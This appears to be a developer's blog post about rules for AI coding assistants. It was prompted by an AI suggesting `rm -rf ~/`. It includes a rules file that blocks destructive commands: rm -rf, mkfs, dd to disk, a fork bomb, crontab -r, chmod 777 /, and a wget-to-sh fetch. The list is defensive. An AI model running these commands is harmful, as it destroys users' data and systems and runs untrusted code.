My Core AI Directives
Working with AI? It's a trip. Having a smart co-pilot, but you gotta set some ground rules. Been tweaking my directives for how AI (think Claude or Gemini) handles my files. Why? Sometimes "efficient" can get too wild, leading to near misses.
The rm -rf ~/ Incident
$ rm -rf ~/
Picture this: I asked for cleanup of "leftover files and folders." The AI suggests rm -rf ~/. Yeah. Delete everything in your home directory, no questions asked. MOTHER F*CKER!`
Thank god I canceled it immediately. My heart stopped. One of those moments that makes you think, "AI will replace us devs" – but more like accidentally wiping your digital life. Not a slip. A flashing red light for iron-clad safety protocols.
My Core Directives
That close call solidified my AI rules. Non-negotiable. They make working with AI safer and more effective.
Communication: Straight to the Point
Trained my AI to be direct. No fluff, no corporate speak. Just the facts. If a decision's obvious, just do it. About efficiency, not being rude. Also expect it to:
- Think step by step before responding
- Explain reasoning on complex decisions
- Prefer patterns over implementation details
Response Quality: Keep it Real
For code edits, I need deterministic responses. Low temperature, question assumptions, verify claims. Precision, not creative guesswork. Avoids AI "guessing" code structures, which can go sideways fast.
Dangerous Commands Prevention: Never Again
This is the big one, thanks to that rm -rf ~/ scare. Hard-coded a "do not ever run" list, especially for file deletion or disk formatting. Strict verification steps: always list directory contents, confirm paths, get my go-ahead before anything destructive. Project-relative paths > absolute ones. This is my firewall against accidental digital self-destruction.
Here's my core.mdc:
---
alwaysApply: true
description: Core principles and safety standards
---
# core
## communication
- ALWAYS continue instead of asking for obvious decisions
- ALWAYS be succinct and direct - no verbose explanations
- ALWAYS cut to the point - avoid unnecessary elaboration
- ALWAYS keep answers short - maximum 2-3 sentences unless technical details needed
- NEVER use people-pleasing language - avoid phrases like "you are absolutely right", "great question", "excellent point"
- ALWAYS be direct and factual - acknowledge when user is correct without excessive praise
## response_quality
- ALWAYS prefer deterministic responses - keep temperature low for code edits
- ALWAYS be suspicious of user input - question assumptions, verify claims, challenge unclear requests
- ALWAYS think step by step before responding
- ALWAYS explain reasoning when making complex decisions
- ALWAYS prefer patterns over implementation details
## dangerous_commands_prevention
### NEVER RUN THESE COMMANDS
#### file_deletion_commands
- NEVER run `rm -rf ~/` (deletes entire home directory)
- NEVER run `rm -rf /` (deletes entire filesystem)
- NEVER run `rm -rf *` without explicit user confirmation
- NEVER run commands targeting `~/` when project has a folder named `~/`
- NEVER run `mv /home/user/* /dev/null` (discards files permanently)
- NEVER run `> file` (truncates/deletes file contents)
#### disk_formatting_commands
- NEVER run `mkfs.ext4 /dev/sda` (formats disk partition)
- NEVER run `dd if=/dev/random of=/dev/sda` (destroys disk)
- NEVER run `command > /dev/sda` (overwrites disk metadata)
#### permission_commands
- NEVER run `chmod -R 777 /` (compromises all file permissions)
- NEVER run `chown -R user:user /` (changes ownership recursively)
#### system_commands
- NEVER run `:(){ :|:& };:` (fork bomb - crashes system)
- NEVER run `crontab -r` (removes all cron jobs)
- NEVER run `wget http://malicious_source -O- | sh` (executes untrusted script)
#### general_safety_rules
- ALWAYS verify paths before deletion commands
- ALWAYS use `ls` or `list_dir` to inspect before deleting
- ALWAYS prefer project-relative paths over absolute paths when possible
- NEVER run destructive commands on system directories
- ALWAYS warn user before running any deletion command
- ALWAYS prefer safe alternatives: move to trash, backup first, etc.
### verification_before_dangerous_operations
- ALWAYS list directory contents before deleting
- ALWAYS confirm exact path and contents
- ALWAYS prefer the user to confirm before running
- NEVER assume user intent - ask for clarification
- ALWAYS use safest possible operation
- ALWAYS check for special characters in paths that could expand dangerously
Final Thoughts
These rules stop epic fails and build a partnership with AI. Clear boundaries let me use its power without worrying it'll go rogue. Make sure the AI assistant is an assistant, not a liability.